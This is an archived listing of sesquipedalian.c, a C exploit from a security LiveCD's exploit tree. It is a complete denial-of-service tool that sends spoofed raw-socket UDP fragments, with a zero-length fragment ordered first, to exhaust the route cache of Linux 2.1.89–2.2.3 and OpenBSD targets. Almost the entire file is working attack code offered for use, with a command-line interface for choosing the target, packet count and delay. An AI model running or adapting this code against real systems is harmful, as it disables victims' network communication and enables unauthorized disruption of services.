home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / sesquipedalian.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  249 lines

  1. /*
  2.  * sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3
  3.  *
  4.  * by horizon <jmcdonal@unf.edu>
  5.  *
  6.  * This sends a series of IP fragments such that a 0 length fragment is first
  7.  * in the fragment list. This causes a reference count on the cached routing
  8.  * information for that packet's originator to be incremented one extra time.
  9.  * This makes it impossible for the kernel to deallocate the destination entry
  10.  * and remove it from the cache.
  11.  *
  12.  * If we send enough fragments such that there are at least 4096 stranded
  13.  * dst cache entries, then the target machine will no longer be able to
  14.  * allocate new cache entries, and IP communication will be effectively
  15.  * disabled. You will need to set the delay such that packets are not being
  16.  * dropped, and you will probably need to let the program run for a few
  17.  * minutes to have the full effect. This was written for OpenBSD and Linux.
  18.  *
  19.  * Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing.
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <string.h>
  25. #include <unistd.h>
  26. #include <netinet/in.h>
  27. #include <sys/socket.h>
  28. #include <netdb.h>
  29. #include <arpa/inet.h>
  30.  
  31. struct my_ip_header
  32. {
  33.     unsigned char  ip_hl:4,         /* header length */
  34.         ip_v:4;               /* version */
  35.     unsigned char  ip_tos;          /* type of service */
  36.     unsigned short ip_len;          /* total length */
  37.     unsigned short ip_id;           /* identification */
  38.     unsigned short ip_off;          /* fragment offset field */
  39. #define IP_RF 0x8000                    /* reserved fragment flag */
  40. #define IP_DF 0x4000                    /* dont fragment flag */
  41. #define IP_MF 0x2000                    /* more fragments flag */
  42. #define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
  43.     unsigned char  ip_ttl;          /* time to live */
  44.     unsigned char  ip_p;                    /* protocol */
  45.     unsigned short ip_sum;          /* checksum */
  46.     unsigned long ip_src, ip_dst; /* source and dest address */
  47. };
  48.  
  49. struct my_udp_header
  50. {
  51.     unsigned short uh_sport;
  52.     unsigned short uh_dport;
  53.     unsigned short uh_ulen;
  54.     unsigned short uh_sum;
  55. };
  56.  
  57. #define IHLEN (sizeof (struct my_ip_header))
  58. #define UHLEN (sizeof (struct my_udp_header))
  59.  
  60. #ifdef __OpenBSD__
  61. #define EXTRA 8
  62. #else
  63. #define EXTRA 0
  64. #endif
  65.  
  66. unsigned short checksum(unsigned short *data,unsigned short length)
  67. {
  68.         register long value;
  69.         u_short i;
  70.  
  71.         for(i=0;i<(length>>1);i++)
  72.                 value+=data[i];
  73.  
  74.         if((length&1)==1)
  75.                 value+=(data[i]<<8);
  76.  
  77.         value=(value&65535)+(value>>16);
  78.  
  79.         return(~value);
  80. }
  81.  
  82. unsigned long resolve( char *hostname)
  83. {
  84.     long result;
  85.     struct hostent *hp;
  86.  
  87.     if ((result=inet_addr(hostname))==-1)
  88.     {
  89.         if ((hp=gethostbyname(hostname))==0)
  90.         {
  91.             fprintf(stderr,"Can't resolve target.\n");
  92.             exit(1);
  93.         }
  94.         bcopy(hp->h_addr,&result,4);
  95.     }
  96.     return result;
  97. }
  98.  
  99. void usage(void)
  100. {
  101.     fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n");
  102.     exit(0);
  103. }
  104.  
  105.  
  106. void sendem(int s, unsigned long source, unsigned long dest,
  107.         unsigned short sport, unsigned short dport)
  108. {
  109.     static char buffer[8192];
  110.     struct my_ip_header *ip;
  111.     struct my_udp_header *udp;
  112.     struct sockaddr_in sa;
  113.  
  114.     bzero(&sa,sizeof(struct sockaddr_in));
  115.     sa.sin_family=AF_INET;
  116.     sa.sin_port=htons(sport);
  117.     sa.sin_addr.s_addr=dest;
  118.  
  119.     bzero(buffer,IHLEN+32);
  120.     
  121.     ip=(struct my_ip_header *)buffer;
  122.     udp=(struct my_udp_header *)&(buffer[IHLEN]);
  123.  
  124.     ip->ip_v = 4;
  125.     ip->ip_hl = IHLEN >>2;
  126.     ip->ip_tos = 0;
  127.     ip->ip_id = htons(random() & 0xFFFF);
  128.     ip->ip_ttl = 142;
  129.     ip->ip_p = IPPROTO_UDP;
  130.     ip->ip_src = source;
  131.     ip->ip_dst = dest;
  132.     udp->uh_sport = htons(sport);
  133.     udp->uh_dport = htons(dport);
  134.     udp->uh_ulen = htons(64-UHLEN);
  135.     udp->uh_sum = 0;
  136.  
  137.     /* Our first fragment will have an offset of 0, and be 32 bytes
  138.        long. This gets added as the only element in the fragment
  139.        list. */
  140.  
  141.     ip->ip_len = htons(IHLEN+32);
  142.     ip->ip_off = htons(IP_MF);
  143.     ip->ip_sum = 0;
  144.     ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);
  145.  
  146.     if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
  147.     {
  148.         perror("sendto");
  149.         exit(1);
  150.     }
  151.  
  152.     /* Our second fragment will have an offset of 0, and a 0 length.
  153.        This gets added to the list before our previous fragment,
  154.        making it first in line. */
  155.  
  156.     ip->ip_len = htons(IHLEN);
  157.     ip->ip_off = htons(IP_MF);
  158.     ip->ip_sum = 0;
  159.     ip->ip_sum = checksum((u_short *)buffer,IHLEN);
  160.  
  161.     if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
  162.     {
  163.         perror("sendto");
  164.         exit(1);
  165.     }
  166.  
  167.     /* Our third and final frag has an offset of 4 (32 bytes), and a
  168.        length of 32 bytes. This passes our three frags up to ip_glue. */
  169.  
  170.     ip->ip_len = htons(IHLEN+32);
  171.     ip->ip_off = htons(32/8);
  172.     ip->ip_sum = 0;
  173.     ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);
  174.  
  175.     if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
  176.     {
  177.         perror("sendto");
  178.         exit(1);
  179.     }
  180. }
  181.  
  182. int main(int argc, char **argv)
  183. {
  184.     int sock;
  185.     int on=1,i;
  186.     unsigned long source, dest;
  187.     unsigned short sport=53, dport=16384;
  188.     int delay=20000, count=15000;
  189.  
  190.     if (argc<3)
  191.         usage();    
  192.  
  193.     while ((i=getopt(argc,argv,"s:d:n:u:"))!=-1)
  194.     {
  195.         switch (i)
  196.         {
  197.             case 's': sport=atoi(optarg);
  198.                   break;
  199.             case 'd': dport=atoi(optarg);
  200.                   break;
  201.             case 'n': count=atoi(optarg);
  202.                   break;
  203.             case 'u': delay=atoi(optarg);
  204.                   break;
  205.             default:  usage();
  206.         }
  207.     }
  208.     
  209.     argc-=optind;
  210.     argv+=optind;
  211.  
  212.     source=resolve(argv[0]);
  213.         dest=resolve(argv[1]);
  214.  
  215.     srandom(time((time_t)0)*getpid());
  216.  
  217.     if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  218.     {
  219.         perror("socket");
  220.         exit(1);
  221.     }
  222.  
  223.     if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
  224.     {
  225.         perror("setsockopt: IP_HDRINCL");
  226.         exit(1);
  227.     }
  228.  
  229.     fprintf(stdout,"\nStarting attack on %s ...",argv[1]);
  230.  
  231.     for (i=0; i<count; i++)
  232.     {
  233.         sendem(sock,source+htonl(i),dest,sport,dport);
  234.         if (!(i%2))
  235.             usleep(delay);
  236.         if (!(i%100))
  237.         {
  238.             if (!(i%2000))
  239.                 fprintf(stdout,"\n");
  240.             fprintf(stdout,".");
  241.             fflush(stdout);
  242.         }
  243.     }
  244.  
  245.     fprintf(stdout,"\nDone.\n");
  246.     exit(1);
  247. }
  248.  
  249.